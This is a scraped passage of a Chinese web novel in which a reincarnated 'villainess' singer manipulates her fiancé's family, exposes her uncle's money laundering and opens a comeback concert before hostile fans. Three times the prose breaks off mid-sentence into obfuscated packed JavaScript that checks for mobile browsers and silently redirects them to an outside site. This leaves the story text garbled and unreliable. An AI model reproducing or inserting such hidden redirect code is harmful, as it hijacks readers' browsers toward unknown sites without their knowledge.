0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459957|169714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,俞唐站在原地,泪流满面。 他听到的是赵汝安比秤砣还稳当的气息,以及钉死在每条线上的音准。她不仅是站桩歌手,还有潜力成为面面俱到的唱跳歌手。 赵汝安释放完自我,畅快地一跃而起。一双手几乎没沾染灰尘,她对自己唱歌的环境非常满意。 一个人想要侧手翻的时候是挡不住的,赵汝安完全没想管别人死活。在感受风的同时,还能被自由的味道包裹,这种感觉实在是太美妙了。 起身后,她矜持道,“俞老师,刚刚献丑了。” 俞唐还在沉默地流泪。 一个长相不怎么样的男人在面前哭泣,除了让赵汝安觉得惊悚,勾不起她任何的怜香惜玉之心。 “抱歉,我才是献丑了。”俞唐抽出纸巾,擦干眼泪,“赵老师,您要是还有余力的话,我们今天就把所有旧歌录完吧。” 赵汝安扬了扬眉:“当然。”她的续航能力和效率可不是开玩笑的。 录完所有歌,俞唐还在回味,赵汝安急匆匆领着耿薇离开。 俞唐下意识追出门:“赵老师,您——” 赵汝安回头,笑容恰到好处犹如面具:“我有什么东西落下了吗?” “没有。”俞唐反应过来,“赵老师,您变了很多。” 赵汝安:“人总是会变的。” 说罢,她再次乘上金光灿灿的电梯,视野逐渐被闭合的电梯门隔断。犹如神龛里寄居的神明,无论是来时的上升、亦或者是此刻的下降,她都泰然处之。 斜后方的耿薇崇拜道:“赵老师,我刚刚偷偷录了一段你的歌声……” “存着吧,反正不是新歌。”赵汝安转头,朝她炸了眨眼,“就算设置成起床铃声,我也没有任何意见。” 耿薇嘟囔着把手机收回口袋:“我可不想因为这个讨厌上你。” 赵汝安爽朗地笑了两声,离开电梯。 和准点下班的小助理告别,祁令瑛的保时捷在门口等候多时。赵汝安没客气,一屁股坐进后座。 粉色保时捷开往祁令瑛早早定下的高级饭店,祁令瑛说是犒劳犒劳身心受创的她,顺带接风洗尘,赵汝安但笑不语。 路上,祁令瑛问:“展家那边怎么说?” 赵汝安抚摸起赵母出门前给她套上的辟邪佛珠,一枚一枚地摩挲,声音轻飘飘:“要我赏脸吃顿饭,展琢会跟我赔礼道歉。年轻人嘛,容易意气用事,话说开了就行。” “听着像大事化小。”祁令瑛瞄了一眼车内镜,有些紧张好友的反应。 赵汝安向来和展父展母交好,几乎把他们当作第二个爸爸妈妈。她心思单纯,祁令瑛却觉得不得不防,但又害怕赵汝安会因此翻脸。 赵汝安笑了笑,回看镜中那双带有些许不安的眼睛,直白到祁令瑛好像被烫了一下似的,赶紧收回视线。 “不然呢,我又不是他们的孩子。孰轻孰重很好评判。” 她摊手,“所以我没去。” 这是赵汝安第一次拒绝二老的邀请,就好像她真的被伤狠了。事实也是如此,她在病房躺了好几天,结果展家一个人都没有去。 出于愧疚,展母主动提出要投资她的演唱会。赵汝安在电话里再三推脱,说着“不想破费”,碍于对方强烈的好意还是接受了。 不如说,这就是赵汝安期盼的结局。 这个补偿她的红包,甚至比她想象中大得多。富人的逻辑就是如此奇妙。 “对了,瑛瑛,我看到一家新开的KTV,里面的装修很符合我的口味,吃完饭要不要去?” 祁令瑛嘴上抱怨:“真是的,又要被你这个专业人士虐了。” 她很诚实地陪着赵汝安前去解压,甚至贴心地找了些长相俊秀的高质量男模前去充当气氛组,最好再玩些小游戏帮赵汝安缓解压力。 然后,在这间健身房风格的特别包厢,祁令瑛对着跑步机上边跑边唱的赵汝安陷入了沉默。 她唯一的要求是,所有人有道具拿道具,没有道具献出双手和嗓门,都来为她的歌声打call。男模们乐得轻松,更何况赵汝安唱歌唱的非常好。 他们根据甲方的要求尽职尽责。于是,沙锤声,摇铃声,还有情景剧中才会出现的罐头笑声,让场面乱成了一锅粥。 “你可以把今晚当作彩排。” 祁令瑛:“……” 压力不会缓解,但是可以转移.jpg 4. 第 4 章 直到把演唱会场地确定下来,舅舅舅妈登门,赵汝安才知道赵君豪已经被赵母下放,如今在一个无足轻重的位置混日子。 “不用再说了,君豪的情况我心里有数。” 舅舅急了:“静之,我们君豪要是哪里做的不对,或者……或者让安安觉得不舒服,我们做父母的肯定会教育他,让他过来道歉。” 然而,赵母心意已决:“有些事,以前我不说,不代表他就做得对。你们回去吧,君豪总是往这边凑,自己的父母都不管了,我想你们看在眼里,心底也不会舒服。” “静之——” “好了,午饭我就不留你们了。趁这个难得的机会,你们回家多跟君豪相处相处吧。” 省的他出来乱认爸妈。赵汝安刚到家,在玄关无声地笑。 不舒服是一回事,利益被侵犯的痛远比亲儿子不能侍奉左右还要深刻。既没有把死死攥在手里的公司发展下去的能力,甚至当个守成之君都做不到,还要躲在献殷勤讨生活的孩子身后指责。 一个非常有趣的家庭样本。 赵母看见她,刚准备使个眼色让赵汝安赶紧离开,这里有她在,赵汝安便笑盈盈地迎上来,亲昵地握住舅妈的手,顺便给她叉了一块水果:“舅妈,给你吃。你们怎么来啦?” “好。舅妈等会儿吃。”舅妈脸上有些挂不住,悻悻接过赵汝安手里的水果捏在手里。 毕竟,她和丈夫每次前来,都是有目的的打交道,为了求赵母高抬贵手,多从指缝间漏点鸟食给一家三口瓜分。 即便是寻常人家的孩子,亲戚三番两次上门,都不可能对他们有好脸色看。偏偏赵汝安心大,总是笑脸相迎,让人臊红了脸。 舅舅管不了那么多,他只知道赵母突然把交给侄子的业务通通收回,以及赵君豪那句“赵汝安能耐了,要跟我抢”,冷着脸打量这个看起来没什么长进的外甥女:“你要你妈妈的公司干什么?” 赵汝安若有所思:“嗯……我还没想好。”她依旧面带笑容,搓着舅妈那双因为窘迫屡次想要收回的双手,“爸爸妈妈都还很健康,我有自己的规划,现在不着急。” 她在赵母柔和的目光中兴冲冲发出邀请,“舅舅,我马上要在宏盛演艺中心开演唱会,你和舅妈要不要来?这次开完,下次就是在燕城第二体育馆了,场地更大。” 舅妈勉强地笑了笑:“我们安安的征途是星辰大海。” 赵汝安羞涩地微微低下头:“没办法,这次要是场子太大,我怕票卖不出去。”她说,“我想谦虚一点,先完成这个小目标。” “宏盛演艺中心?燕城第二体育馆?” 像是听到很好笑的事,舅舅嗤笑一声,“算了吧,在宏盛开演唱会的歌星都是什么级别的人物,你清楚吗?” 他觉得自己找到了赵汝安的痛点,口若悬河罗列出一堆名字,恨不得手舞足蹈起来,“连戏子都不能做到最顶尖,还想接手你妈妈的公司,我看难。你看你表哥,大学就是金融专业,一直跟着你妈妈干,吃了不少苦。你是家里的掌上明珠,我们君豪把公司发展好了,对你可是大大的好处……” 赵汝安笑着聆听,舅妈试图抽出手去扯丈夫的袖子,然而被赵汝安按下。 等舅舅说完,他终于发现赵母极难看的脸色,连忙找补:“静之,我们这样也是为了安安好。” “为了安安好?” “你是在说我不自量力吗。” 母女俩的声音齐齐响起,却是女儿的话语更加平静无波,沉着到让人无端生出悚然感。 赵汝安慢条斯理:“舅舅,不自量力的究竟是谁呢。你以为你把洗过的赃款汇到那位卞女士的账户,就没有人发现了吗?” 除了她,其他三人脸色俱是一变。 这一次,舅妈非常轻松地抽出自己的手,然后迅速给了舅舅两巴掌:“你还在跟她来往?啊?赵东哲,我哪里对不起你们父子俩了?” 赵母想要拉架,但被赵汝安悄无声息掸了掸肩膀上的灰尘。 “姑且不提你当初是怎么在这里下跪,就为了把烂摊子甩给妈妈。”她微笑,“跟着儿子吃空饷不好吗,总比坐牢好吧。舅舅,人要学会知足常乐。” 赵母看着夫妻俩乱作一团,长叹一口气:“你们把儿子领走吧,公司供不起这尊大佛。庄姨,送客。” “好的。” 客厅重新回归平静,赵母的肩膀瞬息间塌了下去。 商场上明辨是非、目光如炬的女强人,拼搏了半辈子,却因为自家人的背叛陷入自我怀疑。 “安安,妈妈是不是错了?” “妈妈没有错,亲情是最要紧的。”赵汝安无言地抱住赵母,“只是很多人不明白。” 掸起不值一提的尘埃,她轻拍着赵母的脊背,就像温柔地弹奏一架钢琴:“妈妈,你要活得很久,活到我名扬四海的那天。” …… “赵小天后要开演唱会”“秋天的第一出洋相”在专业团队的运作下上了热搜。 赵汝安:“‘反正不贵,去凑凑热闹,看看她能出什么洋相’。就往这个方向炒作,反正我也没什么正面评价。” 趁着黑红也是红,先让台下的观众席满了再说,总比无人问津好。 更何况,当舔狗、不敬业、实力不济……虽然罪行累累,赵汝安数到自己都乐了,但是桩桩件件都跟原则性问题沾不上关系。 耿薇翻看词条下的热门评论,忍不住皱起眉:“赵老师,有博主做了个你以前现场破音的合集。” “你不觉得,有一群人愿意因为讨厌你付出精力打字和剪辑视频很有意思吗?”赵汝安懒洋洋地倚靠在沙发里,刚刚结束的舞蹈练习让她在精神上感到些微疲乏,“如果是我,我不会为这个人付出一丁点的精力。” “多可爱啊。” 她感慨,“这就是大众传媒的魅力。” 此刻,赵汝安手机屏幕内的恶评相比起各种破音黑脸合集要有攻击性得多,将她和各种□□羞辱联系在了一起。 不用视察主页,赵汝安都知道这些人大多数是展琢的粉丝。 必须得利用一下。赵汝安当机立断拨通展母的电话,电话接通后下意识将嗓子捏起:“阿姨晚上好,我是安安呀。” 在耿薇惊悚的目光里,赵汝安不仅声音比往常甜了不少,整个人的感觉也一下子变成被家人宠坏的娇滴滴大小姐。 “不会对展哥哥不好的,我舍不得说他一句坏话。”赵汝安认真道,“我只是想让更多人来听我的演唱会,哪怕他们喜欢展哥哥但不喜欢我。” 简而言之,赵汝安想要稍微引导一下展琢粉丝对她的恶意。 尽管展琢主观上不想和她扯上关系,但他的团队可是为“被恋爱脑纠缠的可怜影帝”这个人设出了不少力。 展母满口答应:“安安,这都是小事,本来就是展琢欠你的。”她关切道,“身体恢复得怎么样?叔叔阿姨这边实在太忙了。” “很好。改天我去看你们,给你们带好吃的。”电话另一头的女孩不假思索,罕见地沉默很久,笨拙的小心机一目了然。 展母:“你放心,展琢身边那个姓容的小明星,我跟你叔叔已经敲打过了。安安和她不一样,无论如何都不会让她越到你头上去。” 不一样吗?赵汝安的眉梢戏谑地一挑。不一样在一个进门做傻媳妇还算够格,另一个只能是放进恋爱关系的消耗品。 她语气欣喜:“谢谢阿姨!有您撑腰,我看那个什么宁还敢耀武扬威。”这股装出来的正房味儿甚至把赵汝安自己熏到了。 尽管在耿薇眼里,赵汝安像只耀武扬威的小老虎。 她捏了一下鼻子,然后小心翼翼说出自己真正想要得到答案的问题,“阿姨,演唱会的日期已经定下来了……” 我红包呢.jpg 展母笑了:“我知道,是在盛宏举办。我和你展叔叔商量过了,一定要让你这个复出演唱会办得风风光光,比你之前开过的所有演唱会都要好。我这边的秘书已经去和盛宏的负责人对接了。” 这一回,赵汝安的快乐完全出自本心。 “真的吗?”她像是感动到无语凝噎,一时间哽咽起来,似是满腔的委屈终于有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459958|169714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方宣泄,“阿姨,您真的……对我太好了……” 不论假意还是真情,此刻的展母放柔了声音:“安安,这都是阿姨应该做的,你之前受苦了。” 对啊,可不是受苦嘛。这场演唱会终究要以低于市场价的票价出售,赵汝安不想动用赵母赵父的金库,他们的钱就是她的钱,注定赔本图口碑的买卖做起来她实在心痛。 现在大头交给展家,赵汝安又吃又拿,高兴到恨不得跳起来做十几个侧手翻。 接下来,赵母语气关切,内容无非是些不痛不痒的安慰。赵汝安耐着性子一一回应,就像摇着尾巴的单纯小狗。 单纯说不上,狗是真的狗。 “嗯。好的。阿姨也要注意身体。” “阿姨再见!” 挂断电话,赵汝安转过头,对着连忙正色的小助理语气温和,“薇薇,恶心就吐出来,不用忍着。” 耿薇无声地做个了干呕的动作,赵汝安仰头大笑到差点从沙发上滑落。 「资源咖最新重磅力作[强壮]」 「招笑天后除了自嗨还能干什么」 「票价这么便宜,有点像卖不出去的[鸡emoji]」 「zz梦女也是能上桌了[偷笑]对舔狗完全无感哈」 钱家河翻着热搜里的评论,不管词条带没带展琢的名字,清一色都是讥讽辱骂赵汝安的内容。 有博主弱弱地发了句“不要dfxr”,结果引起评论区晒出抢票界面截图的热潮,再配上“我都花钱了,让我骂两句得了”的文字,甚至衍生出新的词条“赵汝安骂两句怎么你了”。 “展老师,这些都不是我们的团队放出来的话题。” 沙发椅上的男人眉眼如画,一双狭长的眼睛此刻寒芒毕露,薄唇微抿。他看着手机,咬牙切齿:“赵汝安不接我电话。” 钱家河震惊:“赵老师竟然不接电话?” 展琢黑下了脸,继续拨过去。所谓金九银十,他以为自己上热搜会是因为最新的杂志封面,结果放眼望去全是被赵汝安要开演唱会捆绑的词条。 他不信赵汝安一个下午都不在,就用他的休息时间来耗。 于是,从午饭到晚饭,展琢打过去无数个电话,锲而不舍,不依不饶,频次高的好像他才是那个舔狗。 “喂?” 清冽的声音像是汩汩冒出的泉水,澄澈温和,有种说不出的魔性,让烦躁了一整个下午的展琢有些猝不及防。 ……似能抚慰人心。 此刻的赵汝安蜷缩在花房的小床里,颇为浪漫主义地仰望透明屋顶以外的万千星辰:“展琢,你想说什么?” 展琢回过神,压抑着一个下午累积起来的怒火:“撤掉和我相关的热搜,不要把我的粉丝当枪使。” 赵汝安笑了一下:“怎么当枪使了?他们想怎么骂我,想怎么羞辱我,我都接受,既没有堵住他们的嘴,也没有让他们改口称赞赵汝安是本世纪最伟大的歌后。” 她撑着下颚,不给展琢反驳的空隙,“其实,给谁当枪使不是当枪使呢。我以为你至少能坦荡点,先跟我道歉。为你把容小姐带到展家道歉,为纵容甚至挑动你的小粉丝侮辱我道歉。” 展琢辩驳:“那些都是团队的营销策略,你的团队这两天难道没有利用我吗?而且我早就脱离展家,从来没有承认过你是我的未婚妻。就算有,也只会是容……” “打住。这话你跟容小姐去说吧。”赵汝安对他的男主角特质——习惯站在道德制高点说话非常熟悉,“至于营销问题,我不准备计较你之前拿我做文章。我只告诉你,说是‘利用’太难听了,这明明是我和阿姨达成的合作,你不妨和阿姨确认一下。” “晚安,展琢。一起为我的演唱会心怀期待吧。” 展琢:“你——” 他被挂断了电话。 除了脸蛋和身材这两个流于皮囊的因素,赵汝安想不出现在的展琢对她来说有什么吸引力。 ‘赵大人,您袖子破了,我给您缝了星宿,您看着可还喜欢?’ ‘遥遥寄相思,星与夜归人……’ 5. 第 5 章 睡醒后是白天,已经看不到星星了。 赵汝安晃晃悠悠去洗漱,此时赵母赵父正在桌边吃早饭,她的早饭还在保温中。他们很惊讶赵汝安起得这么早,看着她忙进忙出,最后在餐桌旁坐下打了个哈欠。 “谢谢庄姨。” 赵汝安分别道好,脸上的倦怠一扫而空,笑容甜美得就像刚出生的婴儿第一次看见血脉相连的家人,“爸,妈,早上好。” 赵母小心试探:“安安,彩排累不累?要不要再睡会儿?” “要是不方便,宏盛附近有套公寓。”赵父说,“安安,你之前花了好大的力气亲自装点,后来你忘记了。” 这是赵汝安过去的爱好,她向来喜欢真刀实枪,仅仅是摆弄芭比的小屋不能满足赵汝安对家的依恋。 但她向来喜新厌旧,记性也跟着不太好。 “这段时间,我想更多地和你们在一起。” 先咀嚼了半个切开的无花果,紧接着将松饼优雅地切开。赵汝安并没有忘记西餐里的礼节,完成得很好,“之后我会去那里住一段时间的,爸爸。” 她露出微笑:“总是依靠你们,我会感觉到不安。表哥这段时间怎么样?” “都是你舅舅的错。” 赵汝安微微摇头:“他们三个人应该明白一荣俱荣,一损俱损的道理。也许舅妈值得更好的,只要她做出了正确的选择。” 她的状态让赵父欲言又止:“你醒来后变了很多。” “我做了一个很长的梦,爸爸。”赵汝安缓缓说着,眼眸低垂,“梦里只有我一个人,爸爸妈妈都不在,没有人可以给我依靠。” 赵母不赞同地看向丈夫:“成郡,都已经过去了,不要再提。” “到时候我会把演唱会录像带给你们。”赵汝安话锋一转,“已经是秋天,离新年应该也不远了,到时候可以一起看。” 赵父:“不需要我们去吗?” 赵汝安深深地怂了一下肩,捧住双颊,笑眯眯地看着他们:“我已经是大孩子了。” 赵母和赵父先吃完早餐,临走前给了赵汝安两个拥抱,然后一齐去了公司。 只剩下赵汝安在餐桌边悠闲地摆弄手机:“庄姨,我还想吃一点刚才妈妈吃的小米粥。不用小菜。” “好嘞。” —Flower5— 【ShowShow】[图片.jpg] 【ShowShow】@全体成员有粉丝说要cos展琢参加软软的演唱会 【Flysheeeep】? 【Jade_Qi】你确定是粉丝吗 【Flysheeeep】显然不是 【Flysheeeep】@ruan多配备点保镖吧,感觉到时候不仅会有臭鸡蛋,台下可能还会打起来 【ruan】模仿得好像,我用大眼账号转发一下^^ 放下手机,赵汝安对庄姨道谢,缓慢地吞咽米粥,小腹的熨帖感让她不自觉弯起眼睛。 群里的话当然是开玩笑的,她已经注销了个人账号,以后所有的物料都由工作室代为发表。至于用来冲浪的小号,自然无可奉告。 但小群显然因为她的话炸了,她们都害怕赵汝安因为一时好玩犯傻。等赵汝安拿起手机的时候已经刷了九十九条多的消息,里面蒙飞扬第一个想起来查看赵汝安的主页,结果账号都没了。 “开玩笑的,我不想被展琢的粉丝撕碎。”司机在前面开车,赵汝安在后座语音输入,“以后都不会有赵汝安的官方账号了,感兴趣的可以在互联网世界捕捉一下我的小号,谁捉到我封她为大师球。” —Flower5— 【Flysheeeep】我有以下六点要说: 【Jade_Qi】…… 【Flysheeeep】@ruan你就算没在演唱会上被人用唾沫淹死,你也迟早贱死 【Flysheeeep】以前怎么没发现你贱兮兮的 【ruan】曾经喜欢上展琢这样一个男人就会变成贱人呀^^ 【Flysheeeep】…… 【Flysheeeep】倒也不必这么说自己 坐在保姆车上,赵汝安先用粉丝数为0的小号转发了cos展琢的po文,配字“很有才华[大拇指]”,然后点进评论区。 果不其然,展琢粉丝已经占领评论区,一群人发“你贱不贱哪”,一群人控评“所以跟展琢有什么关系?带了就来买[图片.jpg]”。 看着简简单单一件黑色高领毛衣的展琢,赵汝安感慨:“不愧是男主角的脸蛋。” “是展老师吗?”耿薇询问时手摸向旁边的背包,“展老师最近给ELLE拍了封面,上线没几秒就售罄,可难抢了。” 赵汝安轻笑:“看来要想彻底摆脱偶像化,他还有很长的路要——” 她的话语因为耿薇小心翼翼放进她掌心的ELLE九月刊没能说尽。 耿薇“嘿嘿”一笑:“赵老师,我还给封面喷了展老师代言的品牌香水,是不是很好闻。” 赵汝安尝试着嗅了嗅,露出了疑似上头的表情——之所以“疑似”,是因为这是耿薇视角里的赵老师,赵汝安本人差点被熏倒。 浓郁的男香不是赵汝安的审美取向,以前的她盲目热爱展琢的一切,现在的她只能根据气味联想到展琢本人可能有狐臭。 也不知道系统什么时候回访,她真想问清楚展琢本人到底有没有狐臭。要是有,热烈追求有狐臭的男人会是她一生的案底。 回过神,赵汝安将杂志放到一旁,不动声色压在包下,转而用和蔼的眼神注视小助理:“薇薇,我记得你是985本科,会计专业的毕业生,对吧?” 来了!皇上的突然袭击! 耿薇立即打起精神:“是的,赵老师。您给我的工资最高。”比工资低,终点是坐牢的职位有盼头多了。 “天天让你做这种小事,真是委屈你了。” 耿薇膝盖一软,差点很没有出息地单膝跪地:“赵老师,难道——” “难道我要提携你?”赵汝安一哂,拍了拍她的肩膀,“离这个不远了,我马上就会有自己的公司。” 太好了,原来不是解雇。耿薇长舒出一口气,紧接着皱起眉。 ……什么叫“马上就会有自己的公司”?真的好像画饼啊!像是皮包公司的老板说“等公司上市,你们每个人都是大股东”一样! 但是,不知道怎么回事,自从赵汝安从医院醒来,耿薇无端觉得只要她出现,就代表着底气。 “我也想登上ELLE的九月刊封面。” 耿薇:“!” 耿薇:“您肯定可以!这场演唱会就是您登上世界舞台的第一步!” 天哪,赵老师除了感慨展老师长得帅,好喜欢好喜欢,竟然还有了如此雄心大志! 越来越觉得赵老师刚才画的不是饼,是自己和下属的未来呢! 临近演唱会,更需要整场整场的彩排。 灯光,舞美,有了展家的援助,赵汝安不需要刻意避开自己的部分设想。既然有钱烧,那就要烧得漂亮。 这场演唱会的主题是“ResurrectMe(复活我)”。生命之火有很多种绽放的方式,唯一不变的是火焰中央需要衬托的人。 耿薇知道自己不是第一个亲眼见证的人,无数参与其中的人员先她一步,用深入内部的眼光注视这场盛大的开幕式。 无论他们最开始抱有怎样的偏见,是因为金钱等世俗因素被迫入局,到现在这个阶段,他们的脸上只有如出一辙的热情和投入。 作为演唱会的核心,赵汝安的目标是展示这门以自己命名的艺术,她所耗费的精力全都化作了统帅全局的魔力,不断将完成度推进。 她描述自己的想法,一个个妙点子像是许愿池里八百年没有清扫过的硬币,不要钱地往外蹦。 “Mike,做得到吗?”赵汝安循循善诱,“如果做不到,我可以用十个侧手翻代替……” “Ofcourse!非常详细!但是赵,你为什么这么执着于侧手翻?” 赵汝安摸了摸下巴:“我觉得很炫酷。” 幸好没有真的落实。 一旁的耿薇听得心惊肉跳。 休息时间,耿薇及时递去矿泉水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459959|169714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。赵汝安一口气喝掉三分之二,漏出的点点水珠顺着下颚的曲线滑落,没入锁骨,俊得耿薇忍不住红了脸。 灯光昏暗,赵汝安擦了把脸,没看清楚小助理的表情,和蔼询问:“你觉得刚刚的彩排怎么样?” 耿薇脱口而出:“我总是不知不觉被您的歌声吸引。” “灯光和舞美也很棒吧?这可是花了大价钱的。注意不到的话,总觉得有点伤心啊。” 虽然花的是别人的钱。 耿薇:“不过,您为什么不邀请家人和朋友过来观看呢?” “想给他们一个惊喜。”赵汝安将水瓶放到一旁,忽然往耿薇自然张开的掌心放一个圆圆的小东西,“至于你,薇薇,看见老板有出息,员工也会安心点吧?” 耿薇下意识抓紧后又松开。 里面是一枚纪念币,印着一个简笔画的头像,依稀看得出是比耶的赵汝安,头像下面是四个字:创始成员。 这四个烫金的字在波动的灯光下,让耿薇浑身的热血没来由地沸腾起来。 她刚想说点什么,一个年轻白净的青年快步走到赵汝安身边,手里还拎着礼盒:“赵老师,这是展琢展先生那边派人送来的慰问品,说是给您道歉。” 赵汝安随便翻了两下,摸清楚是什么东西后让他收好。 无非就是首饰、包包和营养品。 “展琢自己没来?”她问。 青年:“展先生的助理来了。展先生还自掏腰包,给所有的演出人员买了奶茶。” 正说着,耿薇猝不及防被路过的工作人员塞了一杯奶茶。 “喝吧,他没有给你下毒的能耐。”赵汝安笑着道,“看来无论如何得给他回个电话。” 展琢向来会做好人。 但也向来不擅长应付这个热情的未婚妻。 赵汝安笑眯眯拨了几个电话,没通,于是先在微信上发了句“需要我转告给阿姨吗”,然后只是等了几秒,展琢的号码便出现在亮起的屏幕上。 接通后,展琢语气冷淡:“我刚刚在接受访谈。” “已经结束一会儿了吧?不然怎么能接这么快。”赵汝安一脸“小东西,别骗你姐”。 可惜不是跟电话另一端的人面对面。 她问:“展琢,现在知道怎么样好好跟我说话吗?” 展琢:“……” “你不敢见我,这很正常,我原谅你做贼心虚。”赵汝安温和的声音里透出强硬,“这样,你在电话里向我道歉,这事就算揭过去。” “你已经收下了礼物。” 赵汝安:“我还没拆,可以退给你,如果能够换来你的一声道歉,我愿意这么干。只是道歉而已,做得到吗?” 她半是画饼,半是威胁,“说不定我会跟你接触婚约关系呢。又或者,就当是为了容小姐的安全……” 展琢压抑着怒火:“你敢动她一下试试看。” 赵汝安语气不变,悠闲道:“我没动过她啊,我不是一直在动你吗。” 这边的耿薇红了脸,那边的钱家河可是恨不得直接跳车。 车窗倒映出展琢的愠容,他一连做了好几个深呼吸,最终隐忍道:“对不起。” “好,我原谅你了。”赵汝安轻飘飘地答应,“至于别的,展琢,我没有对女人动手的习惯。解除婚约的事,我赵汝安向来只会在一种情况下放过别人,那就是玩腻了。” 她阴嗖嗖地对着手机吹了口气:“展琢,我还没玩够呢。” 按下挂断键,赵汝安把手机往桌上一丢。 “薇薇,别管这些无关人士,你忙你的。” “噢,好、好的。” 耿薇刚离开,一个声音悠悠响起:“你刚才像是在跟狗说话。” “你回来了?” 系统棒读:“我才不会告诉你,我这个时间点过来巡查是因为我想听你的演唱会呢。” 赵汝安笑了:“你待在我的脑子里,这可是别人求都求不来的vvvip座。” 演唱会开始前一天,赵汝安的工作室发了这样一条微博,作为漫长预热的最后阶段: 赵汝安的工作室V:排练中[图片×9] 6. 第 6 章 一石激起千层浪。 工作室账号不得不开了屏蔽,评论区和转发区空空荡荡,只有热搜里能够看得到人类恶毒发言集锦。 展琢的粉丝可不是开玩笑的,更不用说赵汝安只有路人黑,基本没有路人粉。她还特意花了点时间寻找自己的路人粉,这种珍稀生物很难发现,但应该不至于完全没有,结果让赵汝安忍不住扶额苦笑。 “这不符合人性。”她道,“按道理说,我长得不丑,从来没犯过原则性错误,以前发布的专辑配置很好,调音师也算尽心尽力,口碑应该比强|奸犯男明星好多了啊?” 系统:“首先,你是女的;其次,你是恶毒女配。没有你的人见人打,怎么能衬托出女主的人见人爱呢。” 赵汝安:“好吧。虽然女主目前好像也没有人见人爱。” “还没到时候,剧情前后没有对比,怎么产生张力呢。”系统老练地解释,“至少原本的剧情发展,你懂的,女主的舆论会越来越好,你会失去最后一个支持你的地方。” 也就是赵家。 赵汝安眼眸一沉:“现在不可能了。” 为了这场演唱会,赵汝安事先把嗓子和身体的状态调节到最好,每天雷打不动做保养,连最爱的唱歌包厢也不去了。 她的理由是:“让讨厌我的人像动物一样只知道为我欢呼,那才叫爽。” 蒙飞扬担心她出事,从小金库拨钱支援了不少安保设施。甄秀赞助了部分高定演出服,隋昀和祁令瑛也纷纷投资了赵汝安的演唱会。 祁令瑛很奇怪:“我跟我哥当冤大头习惯了,你是怎么回事?” 隋昀一推眼镜架:“赵汝安终于清醒了,不值得我花钱吗?” “你说的没错。” 尽管赵汝安一再强调有展家当冤大头就够了,但她们都觉得赵汝安这次想通很有历史意义,应该庆祝,因此纷纷助阵。 赵汝安对系统道:“虽然女主最后成了万人迷,但我好像没看到她有什么朋友,只有所谓的助攻啊。” 系统:“没办法,这些人的作用就是把她往展琢的房间里推。”她说,“这不是好事。” 终于抵达演唱会当天,从人流量看,简直是万众瞩目。 在工作人员的强烈要求下,好事者不得不换下cos服。否则看到人群中高矮胖瘦的展琢,难保台上的赵汝安不会笑出声。 耿薇比她紧张得多,小跑着出去偷看了情况,再跑回准备室:“赵老师,好像有anti粉组织,准备一点灯光都不给你亮呢。” 赵汝安把手机偏过去,屏幕上赫然是一个名叫“赵辱暗粉丝1群”的聊天界面。 “你说的是不是这个?” 无论是不断蹦出的新消息,还是耿薇呆滞的表情,都让赵汝安看得很开心。 耿薇看过,她收回手机,“啧”了一声:“连展琢的灯牌都没准备,这群人真的是在很认真地排挤我。” “给我花钱,还到我的地盘……那就别怪我了。”赵汝安起身,将手机压下。 “走了。” 她想要慢慢地、慢慢地走过这段幽邃的道路,去享受黑夜中张牙舞爪的唾骂,去感受这种被人痛恨的炙烤感。 ——挺好,是赵汝安熟悉的领域。 于是,黑暗中似乎出现了一个修长的身影。 “赵汝安招笑天后!” “下台!” “你配吗?你配个*把!” 群龙无首,各骂各的,虽然够脏,但远不如当初那一篇《讨赵贼檄》来得振聋发聩。 赵汝安无声地笑了。 当听众准备把好不容易带进来的家伙扔上舞台,黑暗中却走出一张陌生的面孔——不,不是一张,是一群舞者。 灯光亮起时,悬空的舞台被吊索固定在半空中,里面是一辆宛若雷霆铸成的紫黑色摩托车,伴随轰鸣声撕开漆黑的夜。 大屏幕上的赵汝安意气昂扬,双眼像是能够穿透宇宙和尘埃。 她身着哑光皮衣坐在摩托上,在有如波浪般席卷而来的骂声中以一段悠长有力的吟唱叩开生命力的大门。 “我靠,这么贱?那么高的地方谁能扔得到啊!” “让我们祝这个标志摔死哈。” “不是——她难道放了垫音吗?怎么能在那么高的地方唱得那么稳……” 答案是,赵汝安是歌手,当然是全开麦。 骂声逐渐变小,因为当他们发现身边的人不再满口秽语,而是安静下来听听票价值不值得时,肆无忌惮的人身攻击变得太过响亮,响亮到尴尬——毕竟你明明是为了融入群体中“主持正义”,却一下子成了狰狞的出头鸟,难免不适。 即便如此,赵汝安的歌声比所有的辱骂声加起来都要响亮,像是所有人能够看见、但无法攀缘的高山。 她唱的是刚出道时的《驰行》,编曲无疑是顶级,歌词则是仗着机能强头脑一热写出来的稚嫩之作。当时的赵汝安一心想向展琢证明自己足够和他并肩,因此这首歌几乎是踩在赵汝安的能力极限上作出来的炫技之作。录音棚里就有些吃力,F5唱得很挤,此前现场更是不忍卒听。 “这辆车陪我飞驰, 宽阔公路灰尘滚滚, 孤独的旋律只有一个人听; 你以为我必须有个伴, 但从天明到日落, 我比你想象得更习惯黑暗……” 